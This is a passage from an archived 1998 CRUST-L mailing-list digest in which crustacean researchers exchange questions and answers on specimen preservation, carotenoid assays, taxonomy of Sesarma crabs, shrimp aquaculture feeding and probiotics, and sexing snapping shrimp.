post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gregory Jensen Date: Wed, 1 Apr 1998 17:48:05 -0800 (PST) Subject: CRUST-L: Re: your mail Hi I don't know of a way to retain the spot, but that species is easy to identify using the spines at the tip of the telson- quite different than those in C. nigricauda and C. alaskensis. Gregory C. Jensen University of Washington On Wed, 1 Apr 1998, Sally Skelton wrote: > I'm looking for a method of keeping the color (of shrimp) that we collect > and preserve. The shrimp are collected each month but it may be months > before we process the samples. By then, the spot of color on Crangon > nigromacaculata may be faded or gone. Since it's a surefire identification > characteristic, it would be nice to be able to see the spot a few months > after the samples are collected. We preserve the samples in 5% formalin on > the boat. Any ideas? > Thanks > Sally Skelton > Department of Fish and Game > Bay Delta Division > 4001 N. Wilson Way > Stockton, CA 95205 > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: musgrove.richard@WPO.PI.SA.GOV.AU Date: Thu, 02 Apr 1998 12:48:00 +0930 Subject: CRUST-L: cAROTENOIDS IN HAEMOLYMPH Hi Folks, I am looking at moult stage-specfic blood protein content as part of a condition study on Southern Rock Lobster. During this work I've noted the usual carotenoid (probably mainly astaxanthin) staining as the ecdysis approaches and would like to quantify this, particularly as the onset of visible pigmentation occurs before premoult. It may be that such a measure could be useful in predicting the onset of premoult. I am aware of the many other roles of astaxanthin etc., so I'm approaching with caution. I would like to know if anybody has any handy hints on blood carotenoid assays? I am using sodium citrate as the anticoagulent (because I am also looking at crude protein) and plan to use the appropriate extinction coefficient plus purified standards to calculate pigment concentration after deproteinisation with perchloric acid. Most of the literature deals with extraction from tissue and shell samples so toluene/acetone-based extracts seem to be used by default as they form part of the extraction cocktail. Note that I am also using a spectrophotometer, not HPLC. I would appreciate any advice, Many thanks, Cheers, Richard - ------------------------------------------- Dr. Richard Musgrove SARDI Aquatic Sciences, P.O. Box 120, Henley Beach, SA 5022 AUSTRALIA Ph: (08) 8200 2437 Fax: (08) 8200 2481 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Marcelo A. A. Pinheiro"" Date: Thu, 2 Apr 1998 08:15:46 -0300 Subject: CRUST-L: Reference This is a multi-part message in MIME format. - ------=_NextPart_000_005B_01BD5E0F.8A0BEE40 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Please, I would like to known the correct number of pages of the book = bellow. HARTNOLL, R.G. & GOULD, P. 1988. Brachyuran life history strategies and = the optimization of egg production, 1-9. In: Fincham, A.A. & Rainbow, = P.S. (ed.). Aspects of Decapod Crustacean Biology. Clarendon Press, = Oxford, ????? p. Anyone can send to me? Thanks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Dr. Marcelo Antonio Amaro Pinheiro FCAV - UNESP Campus de Jaboticabal Depto. de Biologia Aplicada Rod. Carlos Tonanni, km 5 - CEP 14.870-000 Jaboticabal (SP) - Brasil Fone: +55 16 3232500 (Ramal 230) Fax: +55 16 3224275 e-mail: pinheiro@fcav.unesp.br ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ------=_NextPart_000_005B_01BD5E0F.8A0BEE40 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Please, I would like to known the = correct number=20 of pages of the book bellow. HARTNOLL, R.G. = & GOULD,=20 P. 1988. Brachyuran life history strategies and the optimization of egg=20 production, 1-9. In: Fincham, A.A. & Rainbow, P.S. (ed.). = Aspects=20 of Decapod Crustacean Biology. Clarendon Press, Oxford, ?????=20 p. Anyone=20 can send to me? Thanks.   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Prof.=20 Dr. Marcelo Antonio Amaro PinheiroFCAV - UNESP Campus de=20 JaboticabalDepto. de Biologia AplicadaRod. Carlos Tonanni, km 5 = - - CEP=20 14.870-000Jaboticabal (SP) - BrasilFone: +55 16 3232500 (Ramal=20 230)Fax: +55 16 3224275e-mail: pinheiro@fcav.unesp.br~~~~= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  - ------=_NextPart_000_005B_01BD5E0F.8A0BEE40-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Volker Koch"" Date: 2 Apr 1998 13:19:22 +0100 Subject: CRUST-L: Sesarma curacoense in Brazil?? My name is Volker Koch, I entered the club yesterday. In northern Brazil (Para) I found a sesarmid crab which I identified as Sesarma curacoense. Although I'm not a specialist in taxonomy I'm quite sure about the identification. The other possible species (S. crassipes) is quite different and I decided on the first. I did not find a certain account of S. curacoense in Brazil, and it is not mentioned in the book of Schmidt de Mello. Does anybody has an idea wether their exists a description for Brazil or not?????? Bye Volker =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 2 Apr 1998 09:12:20 -0500 (EST) Subject: CRUST-L: Feeding in monodon Please respond to Franz Goetz and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: ""Franz Goetz"" To: CRUST-L@vims.edu Date: Thu, 2 Apr 1998 16:05:08 +0700 Subject: Re: evaluation of feeding recommendations monodon Priority: normal X-mailer: Pegasus Mail for Win32 (v2.53/R1) Hallo list friends, I have approached you some while ago for advise concerning growth inhibitors and fungus problems in black tiger production and got some good help for this problem analysis. However the follow up of the problems faced in those days is leading to further questions specially concerning contradictory recommendations of feeding rates , frequencies of feeding, distrubution of quantities for the different feeding times and so on. We found an amazing variety in these recommendations issued by local experts and mainly feed sales representatives. I am trying now to evaluate different systems and would be happy to collect even more ( never mind if exotic) recommendations. I hope to to finally find a correlation between systems recommended by feed industry and by water conservationists. ( Industry and scientific recommendations based more on water qualitiy and biology of shrimp. Please send or fax me any recommendation accessible to you. Specially related to semi- intensive culture forms of peneus monodon in sout east asia or elsewhere. The preliminary conditions would be : - stocking densities 15 - 20 Pl ( pl 15) - soils alluvial and unspoiled - sea water based range 25 - 35 ppt salinities Also I would like to invite feed producers or marketing to participate. Thanks and a fruitfull farming to all Franz A. Goetz GAATE Goetz Aquacultural Agricultural Techniques &Engineering fax : Indonesia - 294-81422 e-mail : franz@Idola.net.id =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ADRIAN LINNANE ZOO DEPT Date: Thu, 02 Apr 1998 15:18:07 +0000 (GMT) Subject: CRUST-L: Journal Titles. Hi People, If anyone out there knows the full title of the Journals in the following refs.,I would be extremely grateful. Hadley, P.B., 1908. The behaviour of the larval and adolescent stages of the American lobster, Homarus americanus. J. Comp. Neurol. Psych. 18: 199-302. Howard, A.E., 1980. Substrate controls on the size composition of lobster Homarus gammarus populations. J. Cons. int. Explor. Mer. 39: 130-133. Wentworth, C.K., 1936. An analysis of shapes of glacial cobbles. J. Sediment. Petrol., 6: 85-96. With Thanks, Adrian Linnane, Martin Ryan Marine Science Institute, National University of Ireland, Galway, Galway, Ireland. Tel: +353 91 524411 Fax: +353 91 525005 E mail: Adrian.Linnane@UCG.ie =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jan Factor Date: Thu, 02 Apr 1998 11:38:52 -0500 Subject: Re: CRUST-L: Reference - --------------FFBE0021B04A2E57AA371BCE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The book contain 375 pages. --Jan Factor, 4/2/98 Marcelo A. A. Pinheiro wrote: > Please, I would like to known the correct number of pages of the book > bellow.HARTNOLL, R.G. & GOULD, P. 1988. Brachyuran life history > strategies and the optimization of egg production, 1-9. In: Fincham, > A.A. & Rainbow, P.S. (ed.). Aspects of Decapod Crustacean Biology. > Clarendon Press, Oxford, ????? p.Anyone can send to me? > Thanks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Prof. Dr. Marcelo Antonio Amaro Pinheiro > FCAV - UNESP Campus de Jaboticabal > Depto. de Biologia Aplicada > Rod. Carlos Tonanni, km 5 - CEP 14.870-000 > Jaboticabal (SP) - Brasil > Fone: +55 16 3232500 (Ramal 230) > Fax: +55 16 3224275 > e-mail: pinheiro@fcav.unesp.br > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > - --------------FFBE0021B04A2E57AA371BCE Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit The book contain 375 pages. --Jan Factor, 4/2/98 Marcelo A. A. Pinheiro wrote:  Please, I would like to known the correct number of pages of the book bellow.HARTNOLL, R.G. & GOULD, P. 1988. Brachyuran life history strategies and the optimization of egg production, 1-9. In: Fincham, A.A. & Rainbow, P.S. (ed.). Aspects of Decapod Crustacean Biology. Clarendon Press, Oxford, ????? p.Anyone can send to me? Thanks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Dr. Marcelo Antonio Amaro Pinheiro FCAV - UNESP Campus de Jaboticabal Depto. de Biologia Aplicada Rod. Carlos Tonanni, km 5 - CEP 14.870-000 Jaboticabal (SP) - Brasil Fone: +55 16 3232500 (Ramal 230) Fax: +55 16 3224275 e-mail: pinheiro@fcav.unesp.br ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     - --------------FFBE0021B04A2E57AA371BCE-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 2 Apr 1998 11:43:30 -0600 Subject: CRUST-L: preservation Note: if crusties (or any arthropod) are preserved in EtOH, add 5% glycerine to the mix. This helps keep the beasts flexible, and if the alcohol evaporates-which will happen eventually, unless very good lids are used-the glycerin coats them and prevents the horrors of dried out crustaceans. Phil >The best way to preserve the coloration patterns in crustacea is by >taking a color photo! Then, preserve your specimens in at least 70% EtOH. >This way they have a much greater utility for future research. Once >specimens are preserved in formalin, they become useless for DNA extraction. >Additionally, after some time, the exoskeleton becomes very brittle so >the specimens loose value for morphological analyses as well. A photo >can become a perminant record of coloration pattern to be tied to a >specific specimen. While I realise from personal experience that it is >not convenient to carry around a camera and associated photo equipment, >the results are well worth the effort. > >cheers, > >Keith Crandall }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Carol Haley"" Date: Thu, 2 Apr 98 12:35:54 -0500 Subject: CRUST-L: Hormones Does anyone have any data on negative impacts of mammalian hormones on crustaceans? ************************************************************************* The opinions and information in this message are those of the author and do not necessarily reflect the views and policies of the U.S. Food and Drug Administration. Because of the nature of electronically transferred information, the integrity or security of this message cannot be guaranteed. ************************************************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: cds5356@USL.EDU (Christoph Schubart) Date: Thu, 2 Apr 1998 14:26:12 -0600 Subject: Re: CRUST-L: Sesarma curacoense in Brazil?? Dear Volker and colleagues (especially Brazilian ones), I am sure your identifications is correct, Volker. Sesarma curacaoense does distribute into Brazil. For instance, the USNM has a S. curacaoense female from Mapele (Bahia) collected by R. Rathbun. There has been some confusion regarding material of this species and S. crassipes from Brazil. The type material of S. crassipes Cano 1889 is reported to be from Brazil (Pernambuco). However, it was lost and later findings from this species in Brazil (Coelho & Ramos 1972, 1981) turned out to be S. curacaoense (e.g. figured material in Coelho y Ramos-Porto, 1981; see also Abele, 1992). While S. curacaoense is a widely distributed species with a range from southern Florida through the Caribbean, Venezuela, Guianas (and into Brazi), S. crassipes is only known from Brazil (?) and the Caribbean coast of Costa Rica, where I had the chance of collecting it in 1996. I tend to believe that S. curacaoense is the second Sesarma species occurring in Brazil next to S. rectum and told so Gustavo Melo in Brazil. However, most of the museum material in Brazil still seems to be labeled as S. crassipes. Recently at COLACMAR (a meeting of marine biologists celebrated in Santos, Brasil, 1997) Ariadne PRADO from Universidade Estadual Paulista Campus de Rio Claro gave a presentation on: A OCURRENCIA DE SESARMA CURACAOENSE DE MAN, 1892 (CRUSTACEA: BRACHURA: GRAPSIDAE) NO NORDESTE DO BRASIL. There she states that all specimens from most Brazilian collections only consisted of one species, S. curacaoense, expanding the distribution of this species to Espiritu Santo. I don't know if she's following up this investigation (she did not respond to my mail). In any case, I would like to ask all Brazilian colleagues who think they have Sesarma crassipes in their collections or study sites to give those animals a careful look, compare them with Abele 1992 (Smithson. Contrib. Zool.) or send them to me for verification. I have been trying without success to obtain ""good"" S. crassipes from Brazil and would really like to confirm its presence or absence. Thank you, Christoph ___________ Dr. Christoph Schubart Department of Biology and Laboratory for Crustacean Research University of Southwestern Louisiana Lafayette, Louisiana 70504-2451; USA tel. (318)4825304 / 4825403 fax (318)4825834 e-mail: cds5356@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #132 ***************************** >From owner-crust-l Mon Apr 6 17:11:01 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id RAA16018 for crust-l-digest-outgoing; Mon, 6 Apr 1998 17:03:47 -0400 Date: Mon, 6 Apr 1998 17:03:47 -0400 Message-Id: <199804062103.RAA16018@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #133 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 7 crust-l-digest Monday, 6 April 1998 Volume 01 : Number 133 CRUST-L: probiotic information help Re: CRUST-L: preservation CRUST-L: Research Studentship CRUST-L: ICC-4 Re: CRUST-L: preservation CRUST-L: REQ:Any journal titles site on the web? CRUST-L: Re: probiotic information help CRUST-L: Snapping shrimp Re: CRUST-L: Snapping shrimp CRUST-L: The fry of all species in the genus Magrobrachium CRUST-L: Genus Caridina Re: CRUST-L: The fry of all species in the genus Magrobrachium CRUST-L: Identifying Caridinas? CRUST-L: Caridina CRUST-L: Bounced messages CRUST-L: FREE PAGES for announce your congress or course ---------------------------------------------------------------------- From: ""Gabriel Aguirre [BE]"" Date: Thu, 2 Apr 1998 18:47:05 -0700 (MST) Subject: CRUST-L: probiotic information help Hi list people We appreciate any information and recomendation about probiotic use in shrimp or fish. We work with probiotic supply (microalgy, artemia or pellet) and like disease control in Penaeus vannamei larvae for our master degree thesis. We appreciate any information about commertial probiotic used in aquatic organims. For any information contact us in this e-mail address Thanks Gerardo Garcia and Laura Martinez (master degree student) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Koen Martens Date: Fri, 03 Apr 1998 09:43:18 +0200 Subject: Re: CRUST-L: preservation Please note that Phil's suggestion does not apply to animals with calcified carapaces, such as ostracods. Adding glycerine to formaline or EtOH will make the liquid acid, and will cause rapid decalcification of valves. When preserving ostracods in formalin, always neutralize with sodium (bi) carbonate, in EtOH with borax. cheers koen martens At 11:43 2/04/98 -0600, you wrote: >Note: if crusties (or any arthropod) are preserved in EtOH, add 5% >glycerine to the mix. This helps keep the beasts flexible, and if the >alcohol evaporates-which will happen eventually, unless very good lids are >used-the glycerin coats them and prevents the horrors of dried out >crustaceans. > >Phil > ****************************************** Dr Koen Martens Royal Belgian Institute of Natural Sciences Freshwater Biology Vautierstraat 29 1000 Brussels tel: +32-2-62 74 315 fax +32-2-64 64 433 email: martens@kbinirsnb.be =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Fri, 3 Apr 1998 13:46:53 +0100 Subject: CRUST-L: ICC-4 >Date: Fri, 3 Apr 1998 13:43:47 +0100 >To:crust-l@sivm.si.edu >From:schram@bio.uva.nl (Frederick Schram) >Subject:ICC-4 > >ICC-4 Update!!! > >The response to the congress has been overwhelming. Over 500 abstracts >have been submitted. Processing forms and registrations have been >straining our capacities, but all will work out well in the end. > >If you have questions, do not hesitate to contact Amsterdam. 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Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Joe Staton Date: Fri, 3 Apr 1998 07:22:27 -0500 Subject: Re: CRUST-L: preservation >Please note that Phil's suggestion does not apply to animals with calcified >carapaces, such as ostracods. Adding glycerine to formaline or EtOH will >make the liquid acid, and will cause rapid decalcification of valves. When >preserving ostracods in formalin, always neutralize with sodium (bi) >carbonate, in EtOH with borax. >cheers >koen martens > > That probably adds to the pliability of the crustacean specimens. But also as a cautionary note, acidic conditions in EtOH will also degrade the DNA over time making the preservation less than idea for the uses that Keith Crandal stated. For that, you can also buffer the EtOH as above or with Tris-EDTA. But, I thought this thread was originally about preserving color for later color morph analysis, not for general preservation techniques! Joe =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Fri, 03 Apr 1998 13:57:07 +0200 Subject: CRUST-L: REQ:Any journal titles site on the web? ***Apologies to list members for crossposting*** Is there any website containing some list of scientific periodicals with their abbreviations? Or can anybody give me the complete reference for ""Periodical Title Abbreviations"" by L.G. Alkire jr., or similar publications? Thanks in advance, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas Powell Date: Fri, 03 Apr 1998 07:58:04 -0500 Subject: CRUST-L: Re: probiotic information help Gabriel: Following is some information from Thailand and you also might consider getting ahold of Dr. Addison L. Lawrence: smpall@electrotex.com TAES Shrimp Mariculture Project 1300 Port Street Port Aransas, Texas 78373 USA Tel: 512-749-4625 I am also going to forward to you individually more information on BIO 1 & 2, if others on the list are interested - ask and I shall send. Clever area to be working in right now and I would sincerely appreciate it if you would keep me abreast of your findings. Regards, Tom Powell - -- ****************************************************************************************** Thomas D. Powell Florida International Shrimp Harvesters 7002 Grevilla Avenue, South #10 South Pasadena, Florida 33707 (813) 381-5236 381-5246 Fax 529-7364 Pager shrimp@food4u.com topoco@ij.net Web sites: http://www.ij.net/topoco/ http://www.ij.net/topoco/fishforsale.htm http://www.ij.net/topoco/Helicopterpartsforsale.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Diana Barshaw Date: Fri, 03 Apr 1998 16:38:25 -0500 Subject: CRUST-L: Snapping shrimp Hi crusters, It has been a while since I wrote anything here. Anyway one of my students is doing a small project on snapping shrimp. The particular species is: Apheus heterochaelis. She needs to be able to sex these guys and I can't see any difference between any of them. They all look like females to me. Can anyone out there tell me how to sex these guys. Thanks in advance Diana Barshaw Emporia State University Emporia Kansas E-mail barshawd@emporia.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Fri, 3 Apr 1998 16:38:00 -1000 Subject: Re: CRUST-L: Snapping shrimp On Fri, 3 Apr 1998, Diana Barshaw wrote: > She needs to be able to sex these guys and I can't see any difference > between any of them. They all look like females to me. Can anyone out > there tell me how to sex these guys. I don't know the species you are working with, but if you can look at these guys under a dissecting scope, you should be able to tell sexes. The pleopods of shrimp are sexually dimorphic. Male shrimp should have longer, thin pleopods (especially #1 and #2). There is a small appendage on the second pleopod that only males carry, however, it may be too small to see without putting on a compound scope. Perhaps you could observe the molts for this (ask me more if you decide to do this.) Females have broader pleopods that may have eggs. If they are molting regularly, observe females for the presence of eggs right after ecdysis. You may even notice the ovary under the carapace, if exoskeleton is transparent. It will be a green to yellow mass visible on the mid dorsal line. Maybe others will have more specific info on this species. Good luck, Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to 